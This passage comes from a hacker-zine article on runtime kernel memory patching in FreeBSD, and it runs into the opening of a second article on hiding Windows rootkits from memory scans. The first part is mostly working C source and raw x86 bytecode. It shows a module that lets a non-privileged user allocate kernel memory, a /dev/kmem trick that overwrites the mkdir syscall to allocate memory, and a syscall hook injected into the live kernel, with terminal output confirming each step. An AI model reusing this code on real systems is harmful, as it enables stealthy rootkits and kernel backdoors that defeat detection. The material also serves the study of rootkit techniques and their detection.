ld -Bshareable -d -warn-common -o hello.ko hello.kld
objcopy --strip-debug hello.ko
ghost@slavetwo:~#sudo kldload ./hello.ko
Password:
syscall loaded at 210
ghost@slavetwo:~#gcc -o interface interface.c
ghost@slavetwo:~#./interface
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
ghost@slavetwo:~#gcc -o test_call test_call.c -lkvm
ghost@slavetwo:~#sudo ./test_call
Luke, I am your father!
ghost@slavetwo:~#./interface
FreeBSD Rox!
ghost@slavetwo:~#
[---------------------------------------------------------]
--[ 4.0 - Allocating Kernel Memory
Being able to just patch kernel memory has its limitations since you
don't have much room to play with. Being able to allocate kernel memory
alleviates this problem. The following is a kld which does just that.
kmalloc.c:
/*
* Module to allow a non-privileged user to allocate kernel memory
*
* kmalloc.c,v 2.0 2005/06/01
* Date Modified 2005/06/14
*/
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
/*
* Arguments for kmalloc
*/
struct kma_struct {
unsigned long size;
unsigned long *addr;
};
struct kmalloc_args { struct kma_struct *kma; };
/*
* The function for implementing kmalloc.
*/
static int
kmalloc (struct thread *td, struct kmalloc_args *uap) {
int error = 1;
struct kma_struct kts;
if(uap->kma) {
MALLOC(kts.addr, unsigned long*, uap->kma->size
, M_TEMP, M_NOWAIT);
error = copyout(&kts, uap->kma, sizeof(kts));
}
return (error);
}
/*
* The `sysent' for kmalloc
*/
static struct sysent kmalloc_sysent = {
1, /* sy_narg */
kmalloc /* sy_call */
};
/*
* The offset in sysent where the syscall is allocated.
*/
static int offset = 210;
/*
* The function called at load/unload.
*/
static int
load (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
uprintf ("syscall loaded at %d\n", offset);
break;
case MOD_UNLOAD :
uprintf ("syscall unloaded from %d\n", offset);
break;
default :
error = EOPNOTSUPP;
break;
}
return error;
}
SYSCALL_MODULE(kmalloc, &offset, &kmalloc_sysent, load, NULL);
The following is the user-space program for the above kld:
interface.c:
/*
* User Program To Interact With kmalloc module
*/
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
struct kma_struct {
unsigned long size;
unsigned long *addr;
};
int main(int argc, char **argv) {
struct kma_struct kma;
if(argc != 2) {
printf("Usage:\n%s <size>\n", argv[0]);
exit(0);
}
kma.size = (unsigned long)atoi(argv[1]);
return syscall(210, &kma);
}
Using the techniques/functions described in the previous two sections
and the following algorithm coined by Silvio Cesare one can allocate kernel
memory without the use of a kld.
Silvio Cesare's kmalloc from user-space algorithm:
1. Get the address of some syscall
2. Write a function which will allocate kernel memory
3. Save sizeof(our_function) bytes of some syscall
4. Overwrite some syscall with our_function
5. Call newly overwritten syscall
6. Restore syscall
test_kmalloc.c:
/*
* Allocate kernel memory from user-space
*
* Algorithm to allocate kernel memory is as follows:
*
* 1. Get address of mkdir
* 2. Overwrite mkdir with function that calls man 9 malloc()
* 3. Call mkdir through int $0x80
* This will cause the kernel to run the new "mkdir" syscall, which will
* call man 9 malloc() and pass out the address of the newly allocated
* kernel memory
* 4. Restore mkdir syscall
*
* test_kmalloc.c,v 2.0 2005/06/24
*/
#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/module.h>
/*
* Offset of instruction following call statements
* Starting at the beginning of the function kmalloc
*/
#define OFFSET_1 0x3a
#define OFFSET_2 0x56
/*
* kmalloc function code
*/
unsigned char code[] =
"\x55" /* push %ebp */
"\xba\x01\x00\x00\x00" /* mov $0x1,%edx */
"\x89\xe5" /* mov %esp,%ebp */
"\x53" /* push %ebx */
"\x83\xec\x14" /* sub $0x14,%esp */
"\x8b\x5d\x0c" /* mov 0xc(%ebp),%ebx */
"\x8b\x03" /* mov (%ebx),%eax */
"\x85\xc0" /* test %eax,%eax */
"\x75\x0b" /* jne 20 <kmalloc+0x20> */
"\x83\xc4\x14" /* add $0x14,%esp */
"\x89\xd0" /* mov %edx,%eax */
"\x5b" /* pop %ebx */
"\xc9" /* leave */
"\xc3" /* ret */
"\x8d\x76\x00" /* lea 0x0(%esi),%esi */
"\xc7\x44\x24\x08\x01\x00\x00" /* movl $0x1,0x8(%esp) */
"\x00"
"\xc7\x44\x24\x04\x00\x00\x00" /* movl $0x0,0x4(%esp) */
"\x00"
"\x8b\x00" /* mov (%eax),%eax */
"\x89\x04\x24" /* mov %eax,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 36 <kmalloc+0x36> */
"\x89\x45\xf8" /* mov %eax,0xfffffff8(%ebp) */
"\xc7\x44\x24\x08\x08\x00\x00" /* movl $0x8,0x8(%esp) */
"\x00"
"\x8b\x03" /* mov (%ebx),%eax */
"\x89\x44\x24\x04" /* mov %eax,0x4(%esp) */
"\x8d\x45\xf4" /* lea 0xfffffff4(%ebp),%eax */
"\x89\x04\x24" /* mov %eax,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 52 <kmalloc+0x52> */
"\x83\xc4\x14" /* add $0x14,%esp */
"\x89\xc2" /* mov %eax,%edx */
"\x5b" /* pop %ebx */
"\xc9" /* leave */
"\x89\xd0" /* mov %edx,%eax */
"\xc3"; /* ret */
/*
* struct used to store kernel address
*/
struct kma_struct {
unsigned long size;
unsigned long *addr;
};
int main(int argc, char **argv) {
int i = 0;
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
u_int32_t offset_1;
u_int32_t offset_2;
struct nlist nl[] =
{{ NULL },{ NULL },{ NULL },{ NULL },{ NULL },};
unsigned char origcode[sizeof(code)];
struct kma_struct kma;
if(argc != 2) {
printf("Usage:\n%s <size>\n", argv[0]);
exit(0);
}
/* Initialize kernel virtual memory access */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if(kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
/* Find the address of mkdir, M_TEMP, malloc, and copyout */
nl[0].n_name = "mkdir";
nl[1].n_name = "M_TEMP";
nl[2].n_name = "malloc";
nl[3].n_name = "copyout";
if(kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
for(i = 0; i < 4; i++) {
if(!nl[i].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n"
, nl[i].n_name);
exit(-1);
}
}
/* Calculate the correct offsets */
offset_1 = nl[0].n_value + OFFSET_1;
offset_2 = nl[0].n_value + OFFSET_2;
/* Set the code to contain the correct addresses */
*(unsigned long *)&code[44] = nl[1].n_value;
*(unsigned long *)&code[54] = nl[2].n_value - offset_1;
*(unsigned long *)&code[82] = nl[3].n_value - offset_2;
/* Save mkdir syscall */
if(kvm_read(kd, nl[0].n_value, origcode, sizeof(code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Patch mkdir */
if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Allocate kernel memory */
kma.size = (unsigned long)atoi(argv[1]);
syscall(136, &kma);
printf("Address of kernel memory: 0x%x\n", kma.addr);
/* Restore mkdir */
if(kvm_write(kd, nl[0].n_value, origcode, sizeof(code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Close kd */
if(kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
Using ddb one can verify the results of the above program as follows:
[---------------------------------------------------------]
ghost@slavetwo:~#ls
test_kmalloc.c
ghost@slavetwo:~#gcc -o test_kmalloc test_kmalloc.c -lkvm
ghost@slavetwo:~#sudo ./test_kmalloc
Usage:
./test_kmalloc <size>
ghost@slavetwo:~#sudo ./test_kmalloc 10
Address of kernel memory: 0xc2580870
ghost@slavetwo:~#KDB: enter: manual escape to debugger
[thread pid 12 tid 100004 ]
Stopped at kdb_enter+0x32: leave
db> examine/x 0xc2580870
0xc2580870: 70707070
db>
0xc2580874: 70707070
db>
0xc2580878: dead7070
db> c
ghost@slavetwo:~#
[---------------------------------------------------------]
--[ 5.0 - Putting It All Together
Knowing how to patch and allocate kernel memory gives one a lot of
freedom. This last section will demonstrate how to apply a call hook using
the techniques described in the previous sections. Typically call hooks on
FreeBSD are done by changing the sysent and having it point to another
function, we will not be doing this. Instead we will be using the following
algorithm (with a few minor twists, shown later):
1. Copy syscall we want to hook
2. Allocate kernel memory (use technique described in previous
section)
3. Place new routine in newly allocated address space
4. Overwrite first 7 bytes of syscall with an instruction to jump
to new routine
5. Execute new routine, plus the first x bytes of syscall (this
step will become clearer later)
6. Jump back to syscall + offset
Where offset is equal to x
Stealing an idea from pragmatic of THC we will hook mkdir to print out
a debug message. The following is the kld used in conjunction with objdump
in order to extract the bytecode required for the call hook.
hacked_mkdir.c:
/*
* mkdir call hook
*
* Prints a simple debugging message
*/
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/sysproto.h>
#include <sys/syscall.h>
/* The hacked system call */
static int
hacked_mkdir (struct proc *p, struct mkdir_args *uap) {
uprintf ("MKDIR SYSCALL : %s\n", uap->path);
return 0;
}
/* The sysent for the hacked system call */
static struct sysent
hacked_mkdir_sysent = {
1, /* sy_narg */
hacked_mkdir /* sy_call */
};
/* The offset in sysent where the syscall is allocated */
static int offset = NO_SYSCALL;
/* The function called at load/unload */
static int
load (struct module *module, int cmd, void *arg) {
int error = 0;
switch (cmd) {
case MOD_LOAD :
uprintf ("syscall loaded at %d\n", offset);
break;
case MOD_UNLOAD :
uprintf ("syscall unloaded from %d\n", offset);
break;
default :
error = EINVAL;
break;
}
return error;
}
SYSCALL_MODULE(hacked_mkdir, &offset, &hacked_mkdir_sysent, load, NULL);
The following is an example program which hooks mkdir to print out a
simple debug message. As always an explanation of any new concepts appears
after the source code listing.
test_hook.c:
/*
* Intercept mkdir system call, printing out a debug message before
* executing mkdir.
*
* Algorithm is as follows:
* 1. Copy mkdir syscall upto but not including \xe8.
* 2. Allocate kernel memory.
* 3. Place new routine in newly allocated address space.
* 4. Overwrite first 7 bytes of mkdir syscall with an instruction to jump
* to new routine.
* 5. Execute new routine, plus the first x bytes of mkdir syscall.
* Where x is equal to the number of bytes copied from step 1.
* 6. Jump back to mkdir syscall + offset.
* Where offset is equal to the location of \xe8.
*
* test_hook.c,v 3.0 2005/07/02
*/
#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/module.h>
/*
* Offset of instruction following call statements
* Starting at the beginning of the function kmalloc
*/
#define KM_OFFSET_1 0x3a
#define KM_OFFSET_2 0x56
/*
* kmalloc function code
*/
unsigned char km_code[] =
"\x55" /* push %ebp */
"\xba\x01\x00\x00\x00" /* mov $0x1,%edx */
"\x89\xe5" /* mov %esp,%ebp */
"\x53" /* push %ebx */
"\x83\xec\x14" /* sub $0x14,%esp */
"\x8b\x5d\x0c" /* mov 0xc(%ebp),%ebx */
"\x8b\x03" /* mov (%ebx),%eax */
"\x85\xc0" /* test %eax,%eax */
"\x75\x0b" /* jne 20 <kmalloc+0x20> */
"\x83\xc4\x14" /* add $0x14,%esp */
"\x89\xd0" /* mov %edx,%eax */
"\x5b" /* pop %ebx */
"\xc9" /* leave */
"\xc3" /* ret */
"\x8d\x76\x00" /* lea 0x0(%esi),%esi */
"\xc7\x44\x24\x08\x01\x00\x00" /* movl $0x1,0x8(%esp) */
"\x00"
"\xc7\x44\x24\x04\x00\x00\x00" /* movl $0x0,0x4(%esp) */
"\x00"
"\x8b\x00" /* mov (%eax),%eax */
"\x89\x04\x24" /* mov %eax,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 36 <kmalloc+0x36> */
"\x89\x45\xf8" /* mov %eax,0xfffffff8(%ebp) */
"\xc7\x44\x24\x08\x08\x00\x00" /* movl $0x8,0x8(%esp) */
"\x00"
"\x8b\x03" /* mov (%ebx),%eax */
"\x89\x44\x24\x04" /* mov %eax,0x4(%esp) */
"\x8d\x45\xf4" /* lea 0xfffffff4(%ebp),%eax */
"\x89\x04\x24" /* mov %eax,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 52 <kmalloc+0x52> */
"\x83\xc4\x14" /* add $0x14,%esp */
"\x89\xc2" /* mov %eax,%edx */
"\x5b" /* pop %ebx */
"\xc9" /* leave */
"\x89\xd0" /* mov %edx,%eax */
"\xc3"; /* ret */
/*
* Offset of instruction following call statements
* Starting at the beginning of the function hacked_mkdir
*/
#define HA_OFFSET_1 0x2f
/*
* hacked_mkdir function code
*/
unsigned char ha_code[] =
"\x4d" /* M */
"\x4b" /* K */
"\x44" /* D */
"\x49" /* I */
"\x52" /* R */
"\x20" /* sp */
"\x53" /* S */
"\x59" /* Y */
"\x53" /* S */
"\x43" /* C */
"\x41" /* A */
"\x4c" /* L */
"\x4c" /* L */
"\x20" /* sp */
"\x3a" /* : */
"\x20" /* sp */
"\x25" /* % */
"\x73" /* s */
"\x0a" /* nl */
"\x00" /* null */
"\x55" /* push %ebp */
"\x89\xe5" /* mov %esp,%ebp */
"\x83\xec\x08" /* sub $0x8,%esp */
"\x8b\x45\x0c" /* mov 0xc(%ebp),%eax */
"\x8b\x00" /* mov (%eax),%eax */
"\xc7\x04\x24\x0d\x00\x00\x00" /* movl $0xd,(%esp) */
"\x89\x44\x24\x04" /* mov %eax,0x4(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 17 <hacked_mkdir+0x17>*/
"\x31\xc0" /* xor %eax,%eax */
"\x83\xc4\x08" /* add $0x8,%esp */
"\x5d"; /* pop %ebp */
/*
* jump code
*/
unsigned char jp_code[] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0"; /* jmp *%eax */
/*
* struct used to store kernel address
*/
struct kma_struct {
unsigned long size;
unsigned long *addr;
};
int main(int argc, char **argv) {
int i = 0;
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
u_int32_t km_offset_1;
u_int32_t km_offset_2;
u_int32_t ha_offset_1;
struct nlist nl[] =
{ { NULL },{ NULL },{ NULL },{ NULL },{ NULL },{ NULL},{ NULL }, };
unsigned long diff;
int position;
unsigned char orig_code[sizeof(km_code)];
struct kma_struct kma;
/* Initialize kernel virtual memory access */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if(kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
/* Find the address of mkdir, M_TEMP, malloc, copyout,
uprintf, and kern_rmdir */
nl[0].n_name = "mkdir";
nl[1].n_name = "M_TEMP";
nl[2].n_name = "malloc";
nl[3].n_name = "copyout";
nl[4].n_name = "uprintf";
nl[5].n_name = "kern_rmdir";
if(kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
for(i = 0; i <= 5; i++) {
if(!nl[i].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n"
, nl[i].n_name);
exit(-1);
}
}
/* Determine size of mkdir syscall */
diff = nl[5].n_value - nl[0].n_value;
unsigned char mk_code[diff];
/* Save a copy of mkdir syscall */
if(kvm_read(kd, nl[0].n_value, mk_code, diff) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Determine position of 0xe8 */
for(i = 0; i < (int)diff; i++) {
if(mk_code[i] == 0xe8) {
position = i;
}
}
/* Calculate the correct offsets for kmalloc */
km_offset_1 = nl[0].n_value + KM_OFFSET_1;
km_offset_2 = nl[0].n_value + KM_OFFSET_2;
/* Set the km_code to contain the correct addresses */
*(unsigned long *)&km_code[44] = nl[1].n_value;
*(unsigned long *)&km_code[54] = nl[2].n_value - km_offset_1;
*(unsigned long *)&km_code[82] = nl[3].n_value - km_offset_2;
/* Save mkdir syscall */
if(kvm_read(kd, nl[0].n_value, orig_code, sizeof(km_code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Replace mkdir with kmalloc */
if(kvm_write(kd, nl[0].n_value, km_code, sizeof(km_code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Allocate kernel memory */
kma.size = (unsigned long)sizeof(ha_code) + (unsigned long)position
+ (unsigned long)sizeof(jp_code);
syscall(136, &kma);
/* Restore mkdir */
if(kvm_write(kd, nl[0].n_value, orig_code, sizeof(km_code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Calculate the correct offsets for hacked_mkdir */
ha_offset_1 = (unsigned long)kma.addr + HA_OFFSET_1;
/* Set the ha_code to contain the correct addresses */
*(unsigned long *)&ha_code[34] = (unsigned long)kma.addr;
*(unsigned long *)&ha_code[43] = nl[4].n_value - ha_offset_1;
/* Place hacked_mkdir routine into kernel memory */
if(kvm_write(kd, (unsigned long)kma.addr, ha_code, sizeof(ha_code))
< 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Place mk_code into kernel memory */
if(kvm_write(kd, (unsigned long)kma.addr +
(unsigned long)sizeof(ha_code) - 1, mk_code, position) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Set the jp_code to contain the correct address */
*(unsigned long *)&jp_code[1] = nl[0].n_value +
(unsigned long)position;
/* Place jump code into kernel memory */
if(kvm_write(kd, (unsigned long)kma.addr +
(unsigned long)sizeof(ha_code) - 1 +
(unsigned long)position
, jp_code, sizeof(jp_code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Set the jp_code to contain the correct address */
*(unsigned long *)&jp_code[1] = (unsigned long)kma.addr + 0x14;
if(kvm_write(kd, nl[0].n_value, jp_code, sizeof(jp_code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
printf("I love the PowerGlove. It's so bad!\n");
/* Close kd */
if(kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
The comments state that the algorithm for this program is as follows:
1. Copy mkdir syscall upto but not including \xe8.
2. Allocate kernel memory.
3. Place new routine in newly allocated address space.
4. Overwrite first 7 bytes of mkdir syscall with an instruction to jump
to new routine.
5. Execute new routine, plus the first x bytes of mkdir syscall.
Where x is equal to the number of bytes copied from step 1.
6. Jump back to mkdir syscall + offset.
Where offset is equal to the location of \xe8.
The reason behind copying mkdir upto but not including \xe8 is because
on different builds of FreeBSD the disassembly of the mkdir syscall is
different. Therefore one cannot determine a static location to jump back
to. However, on all builds of FreeBSD mkdir makes a call to kern_mkdir,
thus we choose to jump back to that point. The following illustrates this.
[---------------------------------------------------------]
ghost@slavezero:~#nm /boot/kernel/kernel | grep mkdir
c047c560 T devfs_vmkdir
c0620e40 t handle_written_mkdir
c0556ca0 T kern_mkdir
c0557030 T mkdir
c071d57c B mkdirlisthd
c048a3e0 t msdosfs_mkdir
c05e2ed0 t nfs4_mkdir
c05d8710 t nfs_mkdir
c05f9140 T nfsrv_mkdir
c06b4856 r nfsv3err_mkdir
c063a670 t ufs_mkdir
c0702f40 D vop_mkdir_desc
c0702f64 d vop_mkdir_vp_offsets
ghost@slavezero:~#nm /boot/kernel/kernel | grep kern_rmdir
c0557060 T kern_rmdir
ghost@slavezero:~#objdump -d --start-address=0xc0557030
--stop-address=0xc0557060 /boot/kernel/kernel | less
/boot/kernel/kernel: file format elf32-i386-freebsd
Disassembly of section .text:
c0557030 <mkdir>:
c0557030: 55 push %ebp
c0557031: 31 c9 xor %ecx,%ecx
c0557033: 89 e5 mov %esp,%ebp
c0557035: 83 ec 10 sub $0x10,%esp
c0557038: 8b 55 0c mov 0xc(%ebp),%edx
c055703b: 8b 42 04 mov 0x4(%edx),%eax
c055703e: 89 4c 24 08 mov %ecx,0x8(%esp)
c0557042: 89 44 24 0c mov %eax,0xc(%esp)
c0557046: 8b 02 mov (%edx),%eax
c0557048: 89 44 24 04 mov %eax,0x4(%esp)
c055704c: 8b 45 08 mov 0x8(%ebp),%eax
c055704f: 89 04 24 mov %eax,(%esp)
c0557052: e8 49 fc ff ff call c0556ca0 <kern_mkdir>
c0557057: c9 leave
c0557058: c3 ret
c0557059: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
ghost@slavezero:~#
[---------------------------------------------------------]
[---------------------------------------------------------]
ghost@slavetwo:~#nm /boot/kernel/kernel | grep mkdir
c046f680 T devfs_vmkdir
c0608fd0 t handle_written_mkdir
c05415d0 T kern_mkdir
c0541900 T mkdir
c074a9bc B mkdirlisthd
c047d270 t msdosfs_mkdir
c05c7160 t nfs4_mkdir
c05bcfd0 t nfs_mkdir
c05db750 T nfsrv_mkdir
c06a2676 r nfsv3err_mkdir
c06216a0 t ufs_mkdir
c06fef40 D vop_mkdir_desc
c06fef64 d vop_mkdir_vp_offsets
ghost@slavetwo:~#nm /boot/kernel/kernel | grep kern_rmdir
c0541930 T kern_rmdir
ghost@slavetwo:~#objdump -dR --start-address=0xc0541900
--stop-address=0xc0541930 /boot/kernel/kernel | less
/boot/kernel/kernel: file format elf32-i386-freebsd
Disassembly of section .text:
c0541900 <mkdir>:
c0541900: 55 push %ebp
c0541901: 89 e5 mov %esp,%ebp
c0541903: 83 ec 10 sub $0x10,%esp
c0541906: 8b 55 0c mov 0xc(%ebp),%edx
c0541909: 8b 42 04 mov 0x4(%edx),%eax
c054190c: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
c0541913: 00
c0541914: 89 44 24 0c mov %eax,0xc(%esp)
c0541918: 8b 02 mov (%edx),%eax
c054191a: 89 44 24 04 mov %eax,0x4(%esp)
c054191e: 8b 45 08 mov 0x8(%ebp),%eax
c0541921: 89 04 24 mov %eax,(%esp)
c0541924: e8 a7 fc ff ff call c05415d0 <kern_mkdir>
c0541929: c9 leave
c054192a: c3 ret
c054192b: 90 nop
c054192c: 8d 74 26 00 lea 0x0(%esi),%esi
ghost@slavetwo:~#
[---------------------------------------------------------]
The above output was generated from two different FreeBSD 5.4 builds.
As one can clearly see the dissassembly dump of mkdir is different for each
one.
In test_hook the address of kern_rmdir is sought after, this is because
in memory kern_rmdir comes right after mkdir, thus its address is the end
boundary for mkdir.
The bytecode for the call hook is as follows:
unsigned char ha_code[] =
"\x4d" /* M */
"\x4b" /* K */
"\x44" /* D */
"\x49" /* I */
"\x52" /* R */
"\x20" /* sp */
"\x53" /* S */
"\x59" /* Y */
"\x53" /* S */
"\x43" /* C */
"\x41" /* A */
"\x4c" /* L */
"\x4c" /* L */
"\x20" /* sp */
"\x3a" /* : */
"\x20" /* sp */
"\x25" /* % */
"\x73" /* s */
"\x0a" /* nl */
"\x00" /* null */
"\x55" /* push %ebp */
"\x89\xe5" /* mov %esp,%ebp */
"\x83\xec\x08" /* sub $0x8,%esp */
"\x8b\x45\x0c" /* mov 0xc(%ebp),%eax */
"\x8b\x00" /* mov (%eax),%eax */
"\xc7\x04\x24\x0d\x00\x00\x00" /* movl $0xd,(%esp) */
"\x89\x44\x24\x04" /* mov %eax,0x4(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 17 <hacked_mkdir+0x17>*/
"\x31\xc0" /* xor %eax,%eax */
"\x83\xc4\x08" /* add $0x8,%esp */
"\x5d"; /* pop %ebp */
The first 20 bytes is for the string to be printed, because of this
when we jump to this function we have to start at an offset of 0x14, as
illustrated from this line of code:
*(unsigned long *)&jp_code[1] = (unsigned long)kma.addr + 0x14;
The last three statements in the hacked_mkdir bytecode zeros out the
eax register, cleans up the stack, and restores the ebp register. This is
done so that when mkdir actually executes its as if nothing has already
occurred.
One thing to remember about character arrays in C is that they are all
null terminated. For example if we declare the following variable,
unsigned char example[] = "\x41";
sizeof(example) will return 2. This is the reason why in test_hook we
subtract 1 from sizeof(ha_code), otherwise we would be writing to the
wrong spot.
The following is the output before and after running test_hook:
[---------------------------------------------------------]
ghost@slavetwo:~#ls
test_hook.c
ghost@slavetwo:~#gcc -o test_hook test_hook.c -lkvm
ghost@slavetwo:~#mkdir before
ghost@slavetwo:~#ls -F
before/ test_hook* test_hook.c
ghost@slavetwo:~#sudo ./test_hook
Password:
I love the PowerGlove. It's so bad!
ghost@slavetwo:~#mkdir after
MKDIR SYSCALL : after
ghost@slavetwo:~#ls -F
after/ before/ test_hook* test_hook.c
ghost@slavetwo:~#
[---------------------------------------------------------]
One could also use find_syscall and ddb to verify the results of test_hook
--[ 6.0 - Concluding Remarks
Being able to patch and allocate kernel memory gives one a lot of power
over a system. All the examples in this article are trivial as it was my
intention to show the how not the what. Other authors have better ideas
than me anyways on what to do (see References).
I would like to take this space to apologize if any of my explanations
are unclear, hopefully reading over the source code and looking at the
output makes up for it.
Finally, I would like to thank Silvio Cesare, pragmatic, and Stephanie
Wehner, for the inspiration/ideas.
--[ 7.0 - References
[ Internet ]
[1] Silvio Cesare, "Runtime Kernel Kmem Patching"
http://reactor-core.org/runtime-kernel-patching.html
[2] devik & sd, "Linux on-th-fly kernel patching without LKM"
http://www.phrack.org/show.php?p=58&a=7
[3] pragmatic, "Attacking FreeBSD with Kernel Modules"
http://www.thc.org/papers/bsdkern.html
[4] Andrew Reiter, "Dynamic Kernel Linker (KLD) Facility Programming
Tutorial"
http://ezine.daemonnews.org/200010/blueprints.html
[5] Stephanie Wehner, "Fun and Games with FreeBSD Kernel Modules"
http://www.r4k.net/mod/fbsdfun.html
[ Books ]
[6] Muhammad Ali Mazidi & Janice Gillispie Mazidi, "The 80x86 IBM PC And
Compatible Computers: Assembly Language, Design, And Interfacing"
(Prentice Hall)
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14
|=-------------------------=[ Shadow Walker ]=---------------------------=|
|=--------=[ Raising The Bar For Windows Rootkit Detection ]=------------=|
|=-----------------------------------------------------------------------=|
|=---------=[ Sherri Sparks <ssparks at mail.cs.ucf dot edu > ]=---------=|
|=---------=[ Jamie Butler <james.butler at hbgary dot com > ]=---------=|
0 - Introduction & Background On Rootkit Technology
0.1 - Motivations
1 - Rootkit Detection
1.1 - Detecting The Effect Of A Rootkit (Heuristics)
1.2 - Detecting The Rootkit Itself (Signatures)
2 - Memory Architecture Review
2.1 - Virtual Memory - Paging vs. Segmentation
2.2 - Page Tables & PTE's
2.3 - Virtual to Physical Address Translation
2.4 - The Role of the Page Fault Handler
2.5 - The Paging Performance Problem & the TLB
3 - Memory Cloaking Concept
3.1 - Hiding Executable Code
3.2 - Hiding Pure Data
3.3 - Related Work
3.4 - Proof of Concept Implementation
3.4.a - Modified FU Rootkit
3.4.b - Shadow Walker Memory Hook Engine
4 - Known Limitations & Performance Impact
5 - Detection
6 - Conclusion
7 - References
8 - Acknowlegements
--[ 0 - Introduction & Background
Rootkits have historically demonstrated a co-evolutionary adaptation and
response to the development of defensive technologies designed to
apprehend their subversive agenda. If we trace the evolution of rootkit
technology, this pattern is evident. First generation rootkits were
primitive. They simply replaced / modified key system files on the
victim's system. The UNIX login program was a common target and involved
an attacker replacing the original binary with a maliciously enhanced
version that logged user passwords. Because these early rootkit
modifications were limited to system files on disk, they motivated the
development of file system integrity checkers such as Tripwire [1].
In response, rootkit developers moved their modifications off disk to the
memory images of the loaded programs and, again, evaded detection. These
'second' generation rootkits were primarily based upon hooking techniques
that altered the execution path by making memory patches to loaded
applications and some operating system components such as the system call
table. Although much stealthier, such modifications remained detectable by
searching for heuristic abnormalities. For example, it is suspicious for
the system service table to contain pointers that do not point to the
operating system kernel. This is the technique used by VICE [2].
Third generation kernel rootkit techniques like Direct Kernel Object
Manipulation (DKOM), which was implemented in the FU rootkit [3],
capitalize on the weaknesses of current detection software by modifying
dynamically changing kernel data structures for which it is impossible to
establish a static trusted baseline.
----[ 0.1 - Motivations
There are public rootkits which illustrate all of these various techniques,
but even the most sophisticated Windows kernel rootkits, like FU, possess
an inherent flaw. They subvert essentially all of the operating system's
subsystems with one exception: memory management. Kernel rootkits can
control the execution path of kernel code, alter kernel data, and fake
system call return values, but they have not (yet) demonstrated the
capability to 'hook' or fake the contents of memory seen by other running
applications. In other words, public kernel rootkits are sitting ducks for
in memory signature scans. Only now are security companies beginning to
think of implementing memory signature scans.
Hiding from memory scans is similar to the problem faced by early viruses
attempting to hide on the file system. Virus writers reacted to anti-virus
programs scanning the file system by developing polymorphic and metamorphic
techniques to evade detection. Polymorphism attempts to alter the binary
image of a virus by replacing blocks of code with functionally equivalent
blocks that appear different (i.e. use different opcodes to perform the
same task). Polymorphic code, therefore, alters the superficial appearance
of a block of code, but it does not fundamentally alter a scanner's view of
that region of system memory.
Traditionally, there have been three general approaches to malicious code
detection: misuse detection, which relies upon known code signatures,
anomaly detection, which relies upon heuristics and statistical deviations
from 'normal' behavior, and integrity checking which relies upon comparing
current snapshots of the file system or memory with a known, trusted
baseline. A polymorphic rootkit (or virus) effectively evades signature
based detection of its code body, but falls short in anomaly or integrity
detection schemes because it cannot easily camouflage the changes it makes
to existing binary code in other system components.
Now imagine a rootkit that makes no effort to change its superficial
appearance, yet is capable of fundamentally altering a detectors view of an
